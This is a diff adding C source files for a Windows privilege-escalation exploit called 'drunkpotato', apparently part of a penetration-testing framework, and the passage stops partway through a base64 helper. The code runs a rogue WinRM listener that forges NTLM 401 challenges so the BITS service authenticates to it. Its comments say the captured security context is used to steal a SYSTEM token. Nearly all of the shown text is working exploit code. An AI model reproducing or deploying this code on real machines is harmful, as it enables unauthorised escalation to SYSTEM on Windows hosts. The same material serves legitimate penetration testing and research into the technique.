- Calls a security context through HandleType1 method of localNegotiator object (localNegotiator.c)
|
||||
- sends a 401 challenge authentication response to force BITS client to authenticate (NTLMP 2)
|
||||
- Receive the authentication packet from BITS (NTLMP 3)
|
||||
- Calls a security context through HandleType3 method of localNegotiator object (localNegotiator.c)
|
||||
- Shutdown the server and return, which terminate the thread where it was launched.
|
||||
|
||||
@param elevatorServer* this Address of the instantiated object
|
||||
@param LocalNegotiator* negotiator Address of the localNegotiator object (localNegotiator.c)
|
||||
*/
|
||||
static void handleNTLMPConnection(elevatorServer* this, LocalNegotiator* negotiator)
|
||||
{
|
||||
int recvbuflen = DEFAULT_BUFLEN;
|
||||
char recvbuf[DEFAULT_BUFLEN] = { 0 };
|
||||
int iResult = -1;
|
||||
int http_response_type2_packet_len = 0;
|
||||
char* http_response_type2_packet = NULL;
|
||||
char* ntlmssp_type2 = NULL;
|
||||
unsigned char* ntlmssp_authorization = NULL;
|
||||
unsigned char* spnego_NegTokenTarg_response = NULL;
|
||||
unsigned char* ntlmssp_request = NULL;
|
||||
unsigned short spnego_NegTokenTarg_response_len = 0;
|
||||
unsigned short ntlmssp_type2_len = 0;
|
||||
unsigned short ntlmssp_request_len = 0;
|
||||
unsigned short ntlmssp_authorization_len = 0;
|
||||
unsigned short base64_ntlmssp_authorization_len = 0;
|
||||
byte base64_ntlmssp_authorization[4192] = { 0 };
|
||||
BOOL spnegoResult = FALSE;
|
||||
|
||||
iResult = recv(this->baseServer.socket, recvbuf, recvbuflen, 0);
|
||||
if (iResult <= 0) { this->socketError(this, "[handleNTLMPConnection] ERROR: error while receiving data"); }
|
||||
dprintf("[handleNTLMPConnection] Received http negotiate request.");
|
||||
hexDump_if_debug_env(NULL, recvbuf, iResult);
|
||||
|
||||
compute_ntlmssp_request(this, recvbuf, iResult, &ntlmssp_request, &ntlmssp_request_len);
|
||||
|
||||
//calling AcceptSecurityContext() on the challenge request
|
||||
negotiator->processNtlmBytes(negotiator, (char*)ntlmssp_request, ntlmssp_request_len);
|
||||
ntlmssp_type2 = negotiator->returnType2(negotiator, &ntlmssp_type2_len);
|
||||
http_response_type2_packet = forge_ntlmssp_challenge_responses(this, (unsigned char*)ntlmssp_type2, ntlmssp_type2_len, &http_response_type2_packet_len);
|
||||
|
||||
dprintf("[handleNTLMPConnection] Sending the 401 http response with ntlm type 2 challenge...");
|
||||
iResult = send(this->baseServer.socket, http_response_type2_packet, http_response_type2_packet_len - 2, 0);
|
||||
free(http_response_type2_packet);
|
||||
http_response_type2_packet = NULL;
|
||||
if (iResult <= 0) this->socketError(this, "[handleNTLMPConnection] ERROR: error while sending data.");
|
||||
dprintf("[handleNTLMPConnection] 401 http response sent.");
|
||||
|
||||
iResult = recv(this->baseServer.socket, recvbuf, 4096, 0);
|
||||
if (iResult <= 0) this->socketError(this, "[handleNTLMPConnection] ERROR: error while receiving data.");
|
||||
dprintf("[handleNTLMPConnection] SUCCESS: Received http packet with ntlm type3 response.");
|
||||
hexDump_if_debug_env(NULL, recvbuf, iResult);
|
||||
|
||||
dprintf("[handleNTLMPConnection] Using ntlm type3 response in AcceptSecurityContext()...");
|
||||
findBase64Negotiate(recvbuf, iResult, base64_ntlmssp_authorization, &base64_ntlmssp_authorization_len);
|
||||
spnego_NegTokenTarg_response = base64_decode((const char*)base64_ntlmssp_authorization, base64_ntlmssp_authorization_len, &spnego_NegTokenTarg_response_len);
|
||||
if (!spnego_NegTokenTarg_response) { this->socketError(this, "[handleNTLMPConnection] Error while b64 decoding ntlm type3 challenge response token."); }
|
||||
spnegoResult = parseNegToken(spnego_NegTokenTarg_response, spnego_NegTokenTarg_response_len, &ntlmssp_authorization, &ntlmssp_authorization_len);
|
||||
|
||||
negotiator->processNtlmBytes(negotiator, (char*)ntlmssp_authorization, ntlmssp_authorization_len);
|
||||
|
||||
dprintf("[handleNTLMPConnection] Shutting down RogueWinRM service properly...");
|
||||
free(spnego_NegTokenTarg_response);
|
||||
spnego_NegTokenTarg_response = NULL;
|
||||
shutdown(this->baseServer.socket, SD_SEND);
|
||||
WSACleanup();
|
||||
dprintf("[handleNTLMPConnection] RogueWinRM service is now down.");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Generate a challenge response http packet in order to force BITS client to authenticate
|
||||
to our rogue WinRM server.
|
||||
|
||||
@param elevatorServer* this Address of the instantiated object
|
||||
@param unsigned char* ntlmssp_type2 contains "NTLMSSP"
|
||||
@param unsigned short ntlmssp_type2_len
|
||||
@param int* http_response_type2_packet_len address which will receive the length of challenge response packet to be sent
|
||||
*/
|
||||
static char* forge_ntlmssp_challenge_responses(elevatorServer* this, unsigned char* ntlmssp_type2, unsigned short ntlmssp_type2_len, int* http_response_type2_packet_len)
|
||||
{
|
||||
const char http_response_type2_head[] = "HTTP/1.1 401 \r\nWWW-Authenticate: Negotiate ";
|
||||
const char http_response_type2_tail[] = "\r\nServer: Microsoft-HTTPAPI/2.0\r\nContent-Length: 0\r\n\r\n";
|
||||
char* http_response_type2_packet = NULL;
|
||||
char* ntlmssp_type2_full = NULL;
|
||||
unsigned short ntlmssp_type2_full_len = 0;
|
||||
char* ntlmssp_type2_b64 = NULL;
|
||||
unsigned short ntlmssp_type2_b64_len = 0;
|
||||
BOOL spnegoResult = FALSE;
|
||||
|
||||
//forging ntlmssp challenge responses
|
||||
dprintf("[forge_ntlmssp_challenge_responses] Forging http response type2 packet...");
|
||||
spnegoResult = this->generateNegTokenTarg(this, (unsigned char*)ntlmssp_type2, ntlmssp_type2_len, (unsigned char**)&ntlmssp_type2_full, &ntlmssp_type2_full_len);
|
||||
if (!spnegoResult) { this->socketError(this, "[forge_ntlmssp_challenge_responses] ERROR: Error while generating challenge response token"); }
|
||||
//encoding ntlmssp challenge response
|
||||
ntlmssp_type2_b64 = base64_encode((const unsigned char*)ntlmssp_type2_full, ntlmssp_type2_full_len, &ntlmssp_type2_b64_len);
|
||||
if (!ntlmssp_type2_b64) { this->socketError(this, "[forge_ntlmssp_challenge_responses] ERROR: Error while b64 encoding challenge response token"); }
|
||||
//forging http response packet 401 with type 2 ntlm chellenge response
|
||||
*http_response_type2_packet_len = sizeof(http_response_type2_head) + ntlmssp_type2_b64_len + sizeof(http_response_type2_tail);
|
||||
http_response_type2_packet = (char*)calloc(*http_response_type2_packet_len, sizeof(char));
|
||||
if (!http_response_type2_packet) { this->socketError(this, "[forge_ntlmssp_challenge_responses] ERROR: Failed to allocate memory for http_response_type2_packet"); }
|
||||
|
||||
memcpy(http_response_type2_packet, http_response_type2_head, sizeof(http_response_type2_head));
|
||||
memcpy((http_response_type2_packet + sizeof(http_response_type2_head) - 1), ntlmssp_type2_b64, ntlmssp_type2_b64_len);
|
||||
memcpy((http_response_type2_packet + sizeof(http_response_type2_head) + ntlmssp_type2_b64_len - 1), http_response_type2_tail, sizeof(http_response_type2_tail));
|
||||
|
||||
free(ntlmssp_type2_b64);
|
||||
ntlmssp_type2_b64 = NULL;
|
||||
|
||||
free(ntlmssp_type2_full);
|
||||
ntlmssp_type2_full = NULL;
|
||||
|
||||
hexDump_if_debug_env(NULL, http_response_type2_packet, *http_response_type2_packet_len);
|
||||
|
||||
return http_response_type2_packet;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Get Negotiate data from first NTLM1 BITS packet.
|
||||
to our rogue WinRM server.
|
||||
|
||||
@param elevatorServer* this Address of the instantiated object
|
||||
@param char* recvbuf Address of buffer hosting the received packet
|
||||
@param int iResult length of previous receiving buffer
|
||||
@param unsigned char** ntlmssp_request Address which will receive the address of decoded ntlmssp_request
|
||||
@param unsigned short* ntlmssp_request_len Address which will receive the length of previous ntlmssp_request
|
||||
*/
|
||||
static void compute_ntlmssp_request(elevatorServer* this, char* recvbuf, int recvbuf_content_length, unsigned char** ntlmssp_request, unsigned short* ntlmssp_request_len)
|
||||
{
|
||||
unsigned short base64spnego_token_len = 0;
|
||||
unsigned short spnego_NegTokenInit_request_len = 0;
|
||||
unsigned char* spnego_NegTokenInit_request = NULL;
|
||||
BOOL spnegoResult = FALSE;
|
||||
byte base64_spnego_token[4192] = { 0 };
|
||||
|
||||
if (recvbuf_content_length + 1 > 4192) { this->socketError(this, "[compute_ntlmssp_request] ERROR: base64_spnego_token buffer overflow."); }
|
||||
|
||||
//parsing the base64 of SPNEGO request
|
||||
if (!findBase64Negotiate(recvbuf, recvbuf_content_length, base64_spnego_token, &base64spnego_token_len))
|
||||
this->socketError(this, "[compute_ntlmssp_request] ERROR: Negotiate token not found in NTLM1 request.");
|
||||
|
||||
//decoding the base64 of SPNEGO NegTokenInit
|
||||
spnego_NegTokenInit_request = base64_decode((const char*)base64_spnego_token, base64spnego_token_len, &spnego_NegTokenInit_request_len);
|
||||
if (!spnego_NegTokenInit_request) { this->socketError(this, "[compute_ntlmssp_request] ERROR: error while b64 decoding ntlm type1 challenge response token."); }
|
||||
|
||||
//parsing the ntlmssp from the SPNEGO NegTokenInit token
|
||||
spnegoResult = parseNegToken(spnego_NegTokenInit_request, spnego_NegTokenInit_request_len, ntlmssp_request, ntlmssp_request_len);
|
||||
if (!spnegoResult) { this->socketError(this, "[compute_ntlmssp_request] Error while SPNEGO NegTokenInit token."); }
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Find base64 encoded data of NTLM 1 negotiate request from BITS and put it in a receiving buffer.
|
||||
|
||||
@param char* buffer Pointer to the buffer hosting the NTLM1 packet data
|
||||
@param int buffer_len Size of previous buffer argument
|
||||
@param byte* outbuffer Pointer to a buffer which will host base64 data
|
||||
@param unsigned short* outbuffer_len Size of previous buffer argument
|
||||
|
||||
@return BOOL Was B64 negotiate token found or not.
|
||||
*/
|
||||
static BOOL findBase64Negotiate(char* buffer, int buffer_content_len, byte* outbuffer, unsigned short* outbuffer_content_len)
|
||||
{
|
||||
const char pattern_head[] = "Negotiate ";
|
||||
const char pattern_tail[] = "\r\n";
|
||||
char* index_start = strstr(buffer, pattern_head);
|
||||
char* index_end = NULL;
|
||||
|
||||
if (index_start == NULL)
|
||||
return FALSE;
|
||||
|
||||
index_start += strlen(pattern_head);
|
||||
index_end = strstr(index_start, pattern_tail);
|
||||
if (index_end == NULL)
|
||||
return FALSE;
|
||||
|
||||
*outbuffer_content_len = (unsigned short)(index_end - index_start);
|
||||
memcpy(outbuffer, index_start, *outbuffer_content_len);
|
||||
outbuffer[*outbuffer_content_len] = 0;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
In case of server error, properly stop the server and call the destructor.
|
||||
|
||||
@param elevatorServer* this Address of the instantiated object
|
||||
@param char* error_message Error message to be displayed
|
||||
*/
|
||||
void elevatorSocketError(elevatorServer* this, char* error_message)
|
||||
{
|
||||
this->baseServer.serverStop(&this->baseServer, this->baseServer.socket, error_message);
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Don't know what is a "spnego token". Thus, I don't have a f*cking idea of what this function does.
|
||||
This function and all spnego modules in folder "spnegotokenhanndler" are inherited from decoder
|
||||
proof of concept at https://github.com/antonioCoco/RogueWinRM
|
||||
*/
|
||||
static BOOL parseNegToken(unsigned char* token, int tokenSize, unsigned char** parsedToken, unsigned short* parsedTokenLen)
|
||||
{
|
||||
SPNEGO_TOKEN_HANDLE hSpnegoToken = NULL;
|
||||
int nError = 0L;
|
||||
unsigned char* pbMechToken = NULL;
|
||||
|
||||
if (spnegoInitFromBinary(token, tokenSize, &hSpnegoToken) != SPNEGO_E_SUCCESS)
|
||||
{
|
||||
dprintf("[parseNegToken] ERROR: Cannot parse SPNEGO NegTokenInit token.");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
nError = spnegoGetMechToken(hSpnegoToken, NULL, parsedTokenLen);
|
||||
if (SPNEGO_E_BUFFER_TOO_SMALL == nError)
|
||||
{
|
||||
|
||||
// Allocate a properly sized buffer and retry.
|
||||
pbMechToken = (unsigned char*)malloc(*parsedTokenLen);
|
||||
|
||||
if (spnegoGetMechToken(hSpnegoToken, pbMechToken, parsedTokenLen) != SPNEGO_E_SUCCESS)
|
||||
{
|
||||
dprintf("[parseNegToken] ERROR: Cannot get MechToken content from SPNEGO NegTokenInit token.");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
*parsedToken = pbMechToken;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Idem than parseNegToken function. Don't know what is a "spnego token" and don't know what this
|
||||
function does.
|
||||
*/
|
||||
static BOOL genNegTokenTarg(elevatorServer* this, unsigned char* ntlmssp, unsigned short ntlmssp_len, unsigned char** generatedToken, unsigned short* generatedTokenLen)
|
||||
{
|
||||
unsigned char* pbRespToken = NULL;
|
||||
unsigned long ulRespTokenLen = 0L;
|
||||
int nError = 0L;
|
||||
SPNEGO_TOKEN_HANDLE hSpnegoResponseToken = NULL;
|
||||
SPNEGO_MECH_OID spnegoMechOID = spnego_mech_oid_NTLMSSP;
|
||||
SPNEGO_NEGRESULT spnegoNegResult = spnego_negresult_incomplete;
|
||||
|
||||
// Create the Token and then extract the binary.
|
||||
if (spnegoCreateNegTokenTarg(spnegoMechOID, spnegoNegResult, ntlmssp, ntlmssp_len, NULL, 0L, &hSpnegoResponseToken) != SPNEGO_E_SUCCESS)
|
||||
{
|
||||
dprintf("[genNegTokenTarg] ERROR: Cannot create SPNEGO NegTokenTarg token.");
|
||||
return FALSE;
|
||||
}
|
||||
if (spnegoTokenGetBinary(hSpnegoResponseToken, NULL, generatedTokenLen) == SPNEGO_E_BUFFER_TOO_SMALL)
|
||||
{
|
||||
// Now allocate and extract the buffer.
|
||||
*generatedToken = (unsigned char*)calloc(*generatedTokenLen, sizeof(char));
|
||||
if (!*generatedToken) { this->socketError(this, "[forge_ntlmssp_challenge_responses] ERROR: Failed to allocate memory for http_response_type2_packet"); }
|
||||
|
||||
nError = spnegoTokenGetBinary(hSpnegoResponseToken, *generatedToken, generatedTokenLen);
|
||||
if (SPNEGO_E_SUCCESS == nError)
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[genNegTokenTarg] ERROR: Cannot convert SPNEGO NegTokenTarg token to binary data.");
|
||||
free(*generatedToken);
|
||||
*generatedToken = NULL;
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
dprintf("[genNegTokenTarg] ERROR: Cannot convert SPNEGO NegTokenTarg token to binary data.");
|
||||
return FALSE;
|
||||
}
|
59
external/source/exploits/drunkpotato/Common_Src_Files/Services/elevatorService.h
vendored
Normal file
59
external/source/exploits/drunkpotato/Common_Src_Files/Services/elevatorService.h
vendored
Normal file
@ -0,0 +1,59 @@
|
||||
#pragma once
|
||||
|
||||
/**
|
||||
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
|
||||
in particular for the local negotiator.
|
||||
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
|
||||
for how I emulated a class in pure C.
|
||||
|
||||
This class defines the rogue WinRM server and inherits from service.c (methods and arguments).
|
||||
This class is in charge of handling BITS connection attempt by sending it a 401 NTLM authentication
|
||||
challenge response. When BITS authenticates to our rogue WinRM service, this service creates a
|
||||
security context in the local negotiator object (see localNegotiator.c) which will be used to
|
||||
steal a SYSTEM token.
|
||||
*/
|
||||
|
||||
typedef unsigned char byte;
|
||||
|
||||
struct _elevatorServer;
|
||||
|
||||
typedef void (*elevatorConstructor) (struct _elevatorServer*, char*, char*);
|
||||
typedef void (*elevatorDestructor) (struct _elevatorServer*);
|
||||
typedef void (*ntlmHandle) (struct _elevatorServer*, LocalNegotiator*);
|
||||
typedef void (*elevSocketStop) (struct _elevatorServer*, char*);
|
||||
typedef void (*ntlmsspRequest) (struct _elevatorServer*, char*, int, unsigned char**, unsigned short*);
|
||||
typedef char* (*forgeNtlmssp) (struct _elevatorServer*, unsigned char*, unsigned short, int*);
|
||||
typedef BOOL (*genNegTokTarg) (struct _elevatorServer*, unsigned char*, unsigned short, unsigned char**, unsigned short*);
|
||||
|
||||
|
||||
typedef struct _elevatorServer
|
||||
{
|
||||
// Methods as pointer to functions
|
||||
elevatorConstructor construct;
|
||||
elevatorDestructor destruct;
|
||||
ntlmHandle handleNTLMPConnection;
|
||||
elevSocketStop socketError;
|
||||
ntlmsspRequest computeNtlmsspRequest;
|
||||
forgeNtlmssp forgeNtlmsspChallengeResponses;
|
||||
genNegTokTarg generateNegTokenTarg;
|
||||
|
||||
// Arguments
|
||||
Server baseServer; // This is a pointer to a service object (service.c)
|
||||
} elevatorServer;
|
||||
|
||||
|
||||
// Entry point
|
||||
void handleListener(LPVOID threadParameters);
|
||||
|
||||
// Emulated class Methods
|
||||
void initElevatorService(elevatorServer* this, char* listen_address, char* listen_port);
|
||||
void destructElevatorService(elevatorServer* this);
|
||||
void elevatorSocketError(elevatorServer* this, char* error_message);
|
||||
static void handleNTLMPConnection(elevatorServer* this, LocalNegotiator* negotiator);
|
||||
static void compute_ntlmssp_request(elevatorServer* this, char* recvbuf, int iResult, unsigned char** ntlmssp_request, unsigned short* ntlmssp_request_len);
|
||||
static char* forge_ntlmssp_challenge_responses(elevatorServer* this, unsigned char* ntlmssp_type2, unsigned short ntlmssp_type2_len, int* http_response_type2_packet_len);
|
||||
static BOOL genNegTokenTarg(elevatorServer* this, unsigned char* ntlmssp, unsigned short ntlmssp_len, unsigned char** generatedToken, unsigned short* generatedTokenLen);
|
||||
|
||||
// Static functions
|
||||
static BOOL findBase64Negotiate(char* buffer, int buffer_content_len, byte* outbuffer, unsigned short* outbuffer_content_len);
|
||||
static BOOL parseNegToken(unsigned char* token, int tokenSize, unsigned char** parsedToken, unsigned short* parsedTokenLen);
|
251
external/source/exploits/drunkpotato/Common_Src_Files/Services/service.c
vendored
Normal file
251
external/source/exploits/drunkpotato/Common_Src_Files/Services/service.c
vendored
Normal file
@ -0,0 +1,251 @@
|
||||
#include "..\pch.h"
|
||||
|
||||
/**
|
||||
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
|
||||
in particular for the local negotiator.
|
||||
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
|
||||
for how I emulated a class in pure C.
|
||||
|
||||
This class defines a base server object. Inheritance will be emulated in order to create a
|
||||
Rogue WinRM service and a simple http server derived from this class.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Constructor of the Server class. Setup the addresses of class methods,
|
||||
and initialize some arguments
|
||||
|
||||
@param Server* this Address of the instantiated object.
|
||||
@param char* listen_address Address of IP (as string)
|
||||
@param char* listen_port Address of port (as string)
|
||||
@param BOOL debug TRUE or FALSE. Defined in main/dllmain
|
||||
*/
|
||||
void initService(Server* this, char* listen_address, char* listen_port)
|
||||
{
|
||||
ZeroMemory(this, sizeof(Server));
|
||||
|
||||
this->destruct = &destructService;
|
||||
this->listenerStart = &startListener;
|
||||
this->serverStop = &SocketError;
|
||||
this->listen_address = listen_address;
|
||||
this->listen_port = listen_port;
|
||||
this->socket = INVALID_SOCKET;
|
||||
this->socketInfos = NULL;
|
||||
|
||||
ZeroMemory(&this->hints, sizeof(this->hints));
|
||||
this->hints.ai_family = AF_INET;
|
||||
this->hints.ai_socktype = SOCK_STREAM;
|
||||
this->hints.ai_protocol = IPPROTO_TCP;
|
||||
this->hints.ai_flags = AI_PASSIVE;
|
||||
|
||||
this->listenerStart(this);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Destructor of the Server class. Free allocated memory.
|
||||
|
||||
@param Server* this Address of the instantiated object.
|
||||
*/
|
||||
void destructService(Server* this)
|
||||
{
|
||||
/*for (this->allocationMapLen=10; this->allocationMapLen > 0; this->allocationMapLen--)
|
||||
{
|
||||
free(this->allocationMap[this->allocationMapLen]);
|
||||
}*/
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Initialization of the server :
|
||||
- Initialize Winsock
|
||||
- Resolve the server address and port
|
||||
- Create a SOCKET for connecting to server
|
||||
- Setup the TCP listening socket
|
||||
- Accept a client socket and put it as argument to make it available for derived servers.
|
||||
- Clean the listen socket
|
||||
|
||||
@param Server* this Address of the instantiated object.
|
||||
*/
|
||||
static void startListener(Server* this)
|
||||
{
|
||||
int iResult = -1;
|
||||
WSADATA wsaData;
|
||||
SOCKET ListenSocket = INVALID_SOCKET;
|
||||
struct addrinfo* result = NULL;
|
||||
|
||||
// Initialize Winsock
|
||||
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
if (iResult != 0)
|
||||
{
|
||||
dprintf("[startListener] ERROR: WSAStartup failed with error: %d", iResult);
|
||||
exit(-1);
|
||||
}
|
||||
dprintf("[startListener] SUCCESS: WSAStartup initialized");
|
||||
|
||||
// Resolve the server address and port
|
||||
iResult = getaddrinfo(this->listen_address, this->listen_port, &this->hints, &this->socketInfos);
|
||||
if (iResult != 0)
|
||||
{
|
||||
dprintf("[startListener] ERROR: getaddrinfo failed with error: %d\n", iResult);
|
||||
WSACleanup();
|
||||
exit(-1);
|
||||
}
|
||||
dprintf("[startListener] SUCCESS: getaddrinfo initialized. host:%s, port: %s", this->listen_address, this->listen_port);
|
||||
|
||||
// Create a SOCKET for connecting to server
|
||||
ListenSocket = socket(this->socketInfos->ai_family, this->socketInfos->ai_socktype, this->socketInfos->ai_protocol);
|
||||
if (ListenSocket == INVALID_SOCKET)
|
||||
{
|
||||
dprintf("[startListener] ERROR: socket creation failed with error: %ld\n", WSAGetLastError());
|
||||
freeaddrinfo(this->socketInfos);
|
||||
WSACleanup();
|
||||
exit(-1);
|
||||
}
|
||||
dprintf("[startListener] SUCCESS: socket created.");
|
||||
|
||||
// Setup the TCP listening socket
|
||||
iResult = bind(ListenSocket, this->socketInfos->ai_addr, (int)this->socketInfos->ai_addrlen);
|
||||
if (iResult == SOCKET_ERROR)
|
||||
{
|
||||
if (strcmp(this->listen_port, "5985") == 0) { dprintf("[startListener] ERROR: WinRM already running on port 5985. Unexploitable!"); }
|
||||
dprintf("[startListener] ERROR: bind failed with error: %d", WSAGetLastError());
|
||||
freeaddrinfo(this->socketInfos);
|
||||
this->serverStop(this, ListenSocket, "[startListener] ERROR: bind failed");
|
||||
}
|
||||
dprintf("[startListener] SUCCESS: socket bound.");
|
||||
|
||||
freeaddrinfo(this->socketInfos);
|
||||
|
||||
iResult = listen(ListenSocket, SOMAXCONN);
|
||||
if (iResult == SOCKET_ERROR) { this->serverStop(this, ListenSocket, "[startListener] ERROR: Listen stage failed"); }
|
||||
dprintf("[startListener] SUCCESS: socket is now listening for incoming connexions.");
|
||||
|
||||
// Accept a client socket
|
||||
this->socket = accept(ListenSocket, NULL, NULL);
|
||||
if (this->socket == INVALID_SOCKET) { this->serverStop(this, this->socket, "[startListener] ERROR: Accept stage failed"); }
|
||||
dprintf("[startListener] SUCCESS: socket accept stage successful.");
|
||||
|
||||
// No longer need server socket
|
||||
closesocket(ListenSocket);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
In case of failure, close properly the server:
|
||||
- Shutdown this->socket
|
||||
- Close this->socket
|
||||
- Invoke the class destructor
|
||||
|
||||
@param Server* this Address of the instantiated object
|
||||
@param SOCKET Socket Socket to close. If -1, then set it to this->socket
|
||||
@param char* error_message Message to be displayed
|
||||
*/
|
||||
static void SocketError(Server* this, SOCKET Socket, char* error_message)
|
||||
{
|
||||
if (Socket == -1) { Socket = this->socket; }
|
||||
dprintf("[SocketError] SOCKET ERROR: WSAGetLastError: %d", WSAGetLastError());
|
||||
dprintf("%s", error_message);
|
||||
shutdown(Socket, SD_SEND);
|
||||
closesocket(Socket);
|
||||
WSACleanup();
|
||||
this->destruct(this);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Print network packets received or to be send for debug purposes in tcpdump style.
|
||||
This function is only for debug purpose. If DEBUGTRACE preprocessor constant is
|
||||
not set, this function returns immediately without doing anything.
|
||||
*/
|
||||
void hexDump_if_debug_env(char* desc, void* addr, int len)
|
||||
{
|
||||
#ifdef DEBUGTRACE
|
||||
int i;
|
||||
int written_chars = 0;
|
||||
unsigned char buff[17];
|
||||
unsigned char temporary_buff[20] = { 0 };
|
||||
unsigned char line[74] = { 0 };
|
||||
unsigned char* pc = (unsigned char*)addr;
|
||||
|
||||
// Output description if given.
|
||||
if (desc != NULL)
|
||||
dprintf("[hexDump] %s:\n", desc);
|
||||
|
||||
if (len == 0)
|
||||
{
|
||||
dprintf("[hexDump] ERROR: data are zero length.");
|
||||
return;
|
||||
}
|
||||
if (len < 0)
|
||||
{
|
||||
dprintf("[hexDump] ERROR: data are negative length.: %i", len);
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[hexDump] Hexdump of packet:");
|
||||
|
||||
// Process every byte in the data.
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
// Multiple of 16 means new line (with line offset).
|
||||
if ((i % 16) == 0)
|
||||
{
|
||||
// Just don't print ASCII for the zeroth line.
|
||||
if (i != 0)
|
||||
{
|
||||
strcat_s(line, 74, " ");
|
||||
strcat_s(line, 74, buff);
|
||||
dprintf("[hexDump] %s", line);
|
||||
ZeroMemory(line, 74);
|
||||
}
|
||||
|
||||
// Put the offset in line buffer.
|
||||
written_chars = sprintf_s(temporary_buff, 20, " %04x ", i);
|
||||
strcat_s(line, 74, temporary_buff);
|
||||
ZeroMemory(temporary_buff, 20);
|
||||
}
|
||||
|
||||
// Now the hex code for the specific character.
|
||||
written_chars = sprintf_s(temporary_buff, 20, " %02x", pc[i]);
|
||||
strcat_s(line, 74, temporary_buff);
|
||||
ZeroMemory(temporary_buff, 20);
|
||||
|
||||
// And store a printable ASCII character for later.
|
||||
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
|
||||
buff[i % 16] = '.';
|
||||
else
|
||||
buff[i % 16] = pc[i];
|
||||
buff[(i % 16) + 1] = '\0';
|
||||
}
|
||||
|
||||
// Pad out last line if not exactly 16 characters.
|
||||
while ((i % 16) != 0)
|
||||
{
|
||||
written_chars = sprintf_s(temporary_buff, 20, " ");
|
||||
strcat_s(line, 74, temporary_buff);
|
||||
ZeroMemory(temporary_buff, 20);
|
||||
i++;
|
||||
}
|
||||
|
||||
// And print the final ASCII bit.
|
||||
written_chars = sprintf_s(temporary_buff, 20, " %s\n", buff);
|
||||
strcat_s(line, 74, temporary_buff);
|
||||
ZeroMemory(temporary_buff, 20);
|
||||
dprintf("[hexDump] %s", line);
|
||||
#endif
|
||||
|
||||
return;
|
||||
}
|
49
external/source/exploits/drunkpotato/Common_Src_Files/Services/service.h
vendored
Normal file
49
external/source/exploits/drunkpotato/Common_Src_Files/Services/service.h
vendored
Normal file
@ -0,0 +1,49 @@
|
||||
#pragma once
|
||||
|
||||
#include <ws2tcpip.h>
|
||||
#pragma comment (lib, "Ws2_32.lib")
|
||||
|
||||
/**
|
||||
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
|
||||
in particular for the local negotiator.
|
||||
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
|
||||
for how I emulated a class in pure C.
|
||||
|
||||
This class defines a base server object. Inheritance will be emulated in order to create a
|
||||
Rogue WinRM service and a simple http server derived from this class.
|
||||
*/
|
||||
|
||||
struct _Server;
|
||||
|
||||
typedef void (*serviceConstructor) (struct _Server*, char*, char*);
|
||||
typedef void (*serviceDestructor) (struct _Server*);
|
||||
typedef void (*starter) (struct _Server*);
|
||||
typedef void (*cleaner) (struct _Server*, SOCKET, char*);
|
||||
|
||||
typedef struct _Server
|
||||
{
|
||||
// Methods as pointer to functions
|
||||
serviceConstructor construct;
|
||||
serviceDestructor destruct;
|
||||
starter listenerStart;
|
||||
cleaner serverStop;
|
||||
|
||||
// Arguments
|
||||
char* listen_port; // Trivial
|
||||
char* listen_address; // Trivial
|
||||
SOCKET socket; // Trivial
|
||||
struct addrinfo hints; // Temporary variables used to compute
|
||||
struct addrinfo* socketInfos;
|
||||
} Server;
|
||||
|
||||
|
||||
// Constructor and destructor
|
||||
void initService(Server* this, char* listen_address, char* listen_port);
|
||||
void destructService(Server* this);
|
||||
|
||||
// Class methods
|
||||
static void startListener(Server* this);
|
||||
static void SocketError(Server* this, SOCKET Socket, char* error_message);
|
||||
|
||||
// Static functions
|
||||
void hexDump_if_debug_env(char* desc, void* addr, int len);
|
129
external/source/exploits/drunkpotato/Common_Src_Files/base64.c
vendored
Normal file
129
external/source/exploits/drunkpotato/Common_Src_Files/base64.c
vendored
Normal file
@ -0,0 +1,129 @@
|
||||
#include "pch.h"
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Takes data, allocate a buffer in heap of size 4/3 + 2 to handle the result,
|
||||
base64 encode it and returns a pointer to result buffer.
|
||||
|
||||
|
||||
@param const unsigned char* data The data to be encoded.
|
||||
@param unsigned short input_length Length of unencoded data (length of previous arg)
|
||||
@param unsigned short input_length An address to handle the length of b64 encoded result data.
|
||||
Will be 4/3 + 2 of input_length
|
||||
|
||||
@return char* A pointer to the heap buffer containing the b64 encoded result
|
||||
*/
|
||||
char* base64_encode(const unsigned char* data,
|
||||
unsigned short input_length,
|
||||
unsigned short* output_length)
|
||||
{
|
||||
char* encoded_data = NULL;
|
||||
DWORD local_output_len = 0;
|
||||
|
||||
if (!CryptBinaryToStringA
|
||||
(
|
||||
data,
|
||||
input_length,
|
||||
CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF,
|
||||
NULL,
|
||||
&local_output_len
|
||||
))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
